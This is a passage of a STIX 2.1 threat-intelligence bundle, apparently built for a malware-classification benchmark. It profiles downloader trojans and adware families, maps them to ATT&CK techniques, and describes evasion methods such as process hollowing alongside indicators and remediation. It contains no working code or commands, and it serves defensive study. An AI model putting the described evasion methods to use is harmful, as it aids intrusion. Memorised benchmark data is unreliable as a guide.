      "description": "TrojanDownloader:Win32/Downer (or Generic Downloader) is a broad heuristic classification for malicious software whose primary purpose is to securely bypass local antivirus engines, connect to the internet, and download a hidden, encrypted secondary payload directly onto the host. It acts as the initial staging vehicle for severe threats like ransomware, banking trojans, or RATs.<br><br><b>Understanding Downloaders</b><br>To an end-user, a Downer infection is completely silent; the user simply opens an attachment, and nothing appears to happen. For a malware analyst, downloaders are incredibly common. Threat actors separate the delivery mechanism (the downloader) from the malicious payload. This allows them to frequently re-pack and obfuscate the downloader to evade AV signatures without having to modify the core functionality of their valuable secondary payload, and allows them to change the payload dynamically based on the victim's location or operating system.<br><br><b>Execution and Evasion Strategies</b><br>Downer variants are typically delivered via spear-phishing (`T1566.001`) or drive-by downloads (`T1189`). When executed (`T1204.002`), the code is heavily obfuscated (`T1027`). The downloader will reach out to a hardcoded URL or C2 server (`T1105`) to retrieve the secondary payload (often disguised as an image file or text file). To evade detection, it utilizes 'Process Hollowing' or 'Process Injection' (`T1055`): it launches a legitimate Windows process (like `explorer.exe` or `svchost.exe`), injects the downloaded malicious payload into its memory space, and resumes the thread. The antivirus only sees a legitimate Microsoft binary running.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the downloaded payload, but typically involves credential theft or network compromise. Host-based IoCs include EDR alerts for unknown executables dropping files into `%Temp%`, making anomalous outbound network connections, and spawning legitimate Windows utilities as child processes with anomalous memory allocations. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Downer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/downer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--465ade01-d281-54df-bbb7-76976be28e5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e20c61b2-a19f-524b-af04-b623fe7c7873",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downer exhibits technique T1105 (Ingress Tool Transfer (Downloading the final payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ece83f4a-ab3e-5154-99a8-543da32bf401",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e20c61b2-a19f-524b-af04-b623fe7c7873",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1eeabdaa-0bbe-5c85-bcce-42f0bbbd80d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e20c61b2-a19f-524b-af04-b623fe7c7873",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downer exhibits technique T1027 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3b3288f-ce8e-5d76-b2ec-eb43574f100a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e20c61b2-a19f-524b-af04-b623fe7c7873",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downer exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1dc0a373-ccfa-5359-af3a-081cf529c73f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Downexec",
      "description": "<h3>Executive Summary</h3>\n\"Downexec\" (often classified as Trojan.Downloader.Downexec) is a fundamental, yet highly effective, Trojan Downloader explicitly designed to act as a stealthy vanguard for subsequent cyberattacks. Its primary function is minimalist: to covertly infiltrate a Windows system, establish a basic foothold, and silently download and execute larger, more destructive secondary malware payloads (such as ransomware, info-stealers, or botnet clients) from a remote command-and-control (C2) server.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDownexec is predominantly distributed through massive, socially engineered spam campaigns containing malicious attachments (often weaponized Office documents utilizing macros or PDF files exploiting older reader vulnerabilities) or via compromised software installers.\n\nUpon successful execution, Downexec operates with a strict focus on rapid payload delivery:\n<ul>\n<li><strong>Minimal Footprint:</strong> Downexec variants are intentionally kept as small and simple as possible to evade heuristic and behavioral analysis. They often lack complex encryption or anti-VM techniques, relying instead on rapid execution before an EDR solution can fully analyze them.</li>\n<li><strong>Payload Retrieval:</strong> The trojan utilizes standard Windows APIs (such as `URLDownloadToFile` or `WinINet` functions) to silently fetch secondary executables from hardcoded or DGA-generated URLs.</li>\n<li><strong>Execution and Persistence:</strong> Once the secondary payload is downloaded (often to the `%TEMP%` or `%AppData%` directory), Downexec executes it. To ensure the new malware survives reboots, Downexec may create standard persistence mechanisms (like adding entries to the Windows Registry `Run` keys) for the newly downloaded file.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Downexec infection is a critical leading indicator of a severe breach. While the downloader itself may not destroy data, its presence guarantees that remote attackers have successfully achieved remote code execution (RCE) on the endpoint and are actively escalating the attack.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the infected endpoint from the LAN immediately. This is the most crucial step, as it severs the connection to the C2 server and prevents the Downexec trojan from downloading its secondary payloads.</li>\n<li><strong>Forensic Sweeps:</strong> A deep forensic sweep is required to identify not only the initial Downexec executable but also every secondary payload it successfully pulled down and executed.</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> EDR solutions must be configured to heavily monitor and block unusual processes (like `wscript.exe` or `powershell.exe`) attempting to make unauthorized outbound web requests and subsequently executing newly created files in temporary directories.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Downloader.Downexec",
        "Win32/Downexec",
        "Downloader.Generic"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Downexec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/downexec"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94b7c6e7-91b7-54e8-81b4-15115629b2ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1dc0a373-ccfa-5359-af3a-081cf529c73f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downexec exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9a60fda-5450-5ce2-8ab3-f78bd3762a73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1dc0a373-ccfa-5359-af3a-081cf529c73f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downexec exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e352c433-5443-5171-9b2f-b107ed03a534",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1dc0a373-ccfa-5359-af3a-081cf529c73f",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downexec exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9018f988-fb70-534d-92f1-11c45fb9bf27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Downloadadmin",
      "description": "DownloadAdmin (cataloged across antivirus vendors under detections including PUA:Win32/DownloadAdmin and Program:Win32/DownloadAdmin) is a deceptive software download manager and Potentially Unwanted Application (PUA) active since 2014. Distributed through third-party freeware hosting websites, DownloadAdmin wraps legitimate software installers with unwanted commercial bundles. During execution, it presents pre-checked promotional agreements, tricks users into installing secondary browser hijackers and adware extensions, and alters default browser homepages and search providers. DownloadAdmin configures background updater services, creates autostart entries under Windows CurrentVersion\\Run, and transmits host telemetry back to affiliate ad networks to optimize monetized payload delivery. (Observed samples in benchmark: 61)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/DownloadAdmin",
        "Program:Win32/DownloadAdmin",
        "DownloadAdmin",
        "Win32/DownloadAdmin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Downloadadmin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/downloadadmin"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7a77606-f9c7-50c2-bcf9-68928287fcaf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9018f988-fb70-534d-92f1-11c45fb9bf27",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadadmin exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77828d61-7f83-51c2-a12f-f609f0fc6609",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9018f988-fb70-534d-92f1-11c45fb9bf27",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadadmin exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2df40a96-2c19-5a62-b376-f2d1f7644dfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9018f988-fb70-534d-92f1-11c45fb9bf27",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadadmin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9291c3c9-30c1-59e0-8bf3-d014ffb118c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9018f988-fb70-534d-92f1-11c45fb9bf27",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadadmin exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27c4bbd3-236f-5e1e-ae1b-634c1bf84b83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9018f988-fb70-534d-92f1-11c45fb9bf27",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadadmin exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dfe85522-c8d3-5bf1-9c73-93cab4fc483c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Downloadassistant",
      "description": "DownloadAssistant (classified across antimalware research telemetry under signatures including BrowserModifier:Win32/DownloadAssistant, Adware:Win32/DownloadAssistant, and PUA:Win32/DownloadAssistant) is an intrusive browser hijacker, adware toolbar, and search redirector active since 2013. Infiltrating Windows endpoints bundled with deceptive freeware utilities and download managers, DownloadAssistant modifies core browser configurations across Chrome, Firefox, and Internet Explorer. It locks the browser homepage and default search engine to partner search-arbitrage portals, injects unwanted commercial advertisements and inline hyperlinks into visited web pages, and intercepts search queries to display sponsored results. Additionally, DownloadAssistant installs background updater services and registry autoruns to resist manual uninstallation and continually harvest user browsing telemetry. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/DownloadAssistant",
        "Adware:Win32/DownloadAssistant",
        "PUA:Win32/DownloadAssistant",
        "Win32/DownloadAssistant",
        "DownloadAssistant Toolbar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Downloadassistant",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/downloadassistant"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c0e2ae04-76f5-5662-9da2-5250e0134a9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Downloaderb",
      "description": "Trojan:Win32/Downloaderb is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Downloaderb</b><br>To an end-user, a Downloaderb infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Downloaderb is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Downloaderb is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Downloaderb frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Downloaderb reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Downloaderb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/downloaderb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--931fd103-ef47-5a87-8d8b-16f6c02e2546",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0e2ae04-76f5-5662-9da2-5250e0134a9d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloaderb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21391e18-2dd8-58f5-845a-127f328e435f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0e2ae04-76f5-5662-9da2-5250e0134a9d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloaderb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7dc4c827-774b-50a9-8f32-6d3e4746be0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0e2ae04-76f5-5662-9da2-5250e0134a9d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloaderb exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--697be3aa-88d3-5a12-82dc-10e0a41f81df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0e2ae04-76f5-5662-9da2-5250e0134a9d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloaderb exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df833de0-d8e7-522e-bd62-368351cc7a62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0e2ae04-76f5-5662-9da2-5250e0134a9d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloaderb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4be7e6c4-0a89-5c32-a8dd-bca85224cf46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Downloadhelper",
      "description": "DownloadHelper (cataloged across commercial antivirus telemetry as Adware:Win32/DownloadHelper, PUA.DownloadHelper, and Adware.Toolbar.DownloadHelper) is an intrusive adware, browser hijacker, and potentially unwanted program (PUP) family designed to monetize user web browsing. Mimicking legitimate browser extensions and media capture utilities, DownloadHelper is typically distributed bundled with free software installers, pirated media players, and deceptive download portals. Once installed, DownloadHelper registers persistent rogue Browser Helper Objects (BHOs) and browser extensions across Google Chrome, Mozilla Firefox, and Microsoft Edge. It forcefully alters the victim's default homepage, search provider, and new-tab URLs to affiliate-monetized search redirect portals. In addition to injecting unsolicited inline pop-up and banner advertisements into visited webpages, the adware collects sensitive browsing data including search queries, visited URLs, system IP addresses, and hardware telemetry. (Observed samples in benchmark: 645)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/DownloadHelper",
        "PUA.DownloadHelper",
        "Adware.Toolbar.DownloadHelper",
        "Win32/DownloadHelper.Adware",
        "Trojan-Clicker.DownloadHelper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Downloadhelper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/downloadhelper"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74cb16fc-a75b-5526-add9-483e08aef8e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be7e6c4-0a89-5c32-a8dd-bca85224cf46",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadhelper exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5a24d9b-4da7-5b8a-bb85-08a42633a093",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be7e6c4-0a89-5c32-a8dd-bca85224cf46",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadhelper exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13ea1ddf-1a57-563b-8dce-21017447a68a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be7e6c4-0a89-5c32-a8dd-bca85224cf46",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadhelper exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--228bd6ac-8485-5865-a6dc-c7c1874f85da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be7e6c4-0a89-5c32-a8dd-bca85224cf46",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadhelper exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0f90364-c963-5a77-b6e0-b04368536f7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be7e6c4-0a89-5c32-a8dd-bca85224cf46",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadhelper exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d80961f5-07ba-5724-9f79-5b5071686f8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Downloadshield",
      "description": "DownloadShield (cataloged under antimalware detections including PUA:Win32/DownloadShield, SoftwareBundler:Win32/DownloadShield, and Adware.DownloadShield) is a deceptive software installer bundler and potentially unwanted application. Masquerading as a secure download assistant or file verification utility, DownloadShield is bundled with third-party software installers and freeware distribution packages. Upon installation, it injects adware components, redirects browser search queries to affiliated advertising portals, and configures persistence through startup registry run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and scheduled maintenance tasks. DownloadShield constantly displays pop-up notifications urging users to purchase system cleanup tools, monitors browsing sessions, and collects non-personally identifiable telemetry to monetize ad impressions. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/DownloadShield",
        "SoftwareBundler:Win32/DownloadShield",
        "Adware:Win32/DownloadShield",
        "PUP.Optional.DownloadShield",
        "Program:Win32/DownloadShield"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Downloadshield",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/downloadshield"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c8785a0-c615-55db-8eb7-a574c060da88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d80961f5-07ba-5724-9f79-5b5071686f8b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadshield exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23c6eac8-5082-5f1a-93d4-13616fb592eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d80961f5-07ba-5724-9f79-5b5071686f8b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadshield exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b27c27a-b88c-5040-8b9e-0f64562d55d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d80961f5-07ba-5724-9f79-5b5071686f8b",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadshield exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fd00746-2e16-57a7-ba5d-587c7dae386b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d80961f5-07ba-5724-9f79-5b5071686f8b",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadshield exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8927394-c2eb-55b1-ba0a-a7cffbd11eba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d80961f5-07ba-5724-9f79-5b5071686f8b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Downloadshield exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--68902f7f-ad8d-5448-ac93-425d1b5c6c9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Downloadsoft",
      "description": "Adware:Win32/Downloadsoft (often detected as PUA:Win32/Downloadsoft) is a pervasive commercial **software bundling framework and adware injection platform**. It is designed to take legitimate freeware and 'wrap' it in a deceptive installer that uses 'Dark Patterns' to trick users into installing multiple aggressive adware payloads, browser hijackers, and potentially unwanted programs (PUAs) alongside the desired software.<br><br><b>Understanding Downloadsoft and PPI Networks</b><br>To an end-user, Downloadsoft appears as a standard software setup wizard. For an enterprise, it represents a significant risk of 'alert fatigue' for the SOC and a major source of Help Desk tickets due to severely degraded browser performance. The developers of the wrapper operate on a Pay-Per-Install (PPI) model, receiving financial compensation from adware vendors for every successful installation of the bundled junkware on a victim's machine.<br><br><b>Execution and Deceptive Installation Mechanics</b><br>Downloadsoft is almost exclusively encountered when users download software from untrustworthy, third-party software aggregators rather than official vendor sites (`T1204.002`). Upon execution, the wrapper initiates (`T1189`). It employs Dark Patterns, such as pre-checked 'Accept' boxes buried deep in the End User License Agreement (EULA), or confusingly worded 'Decline' buttons that actually accept the offer (`T1036`). The secondary 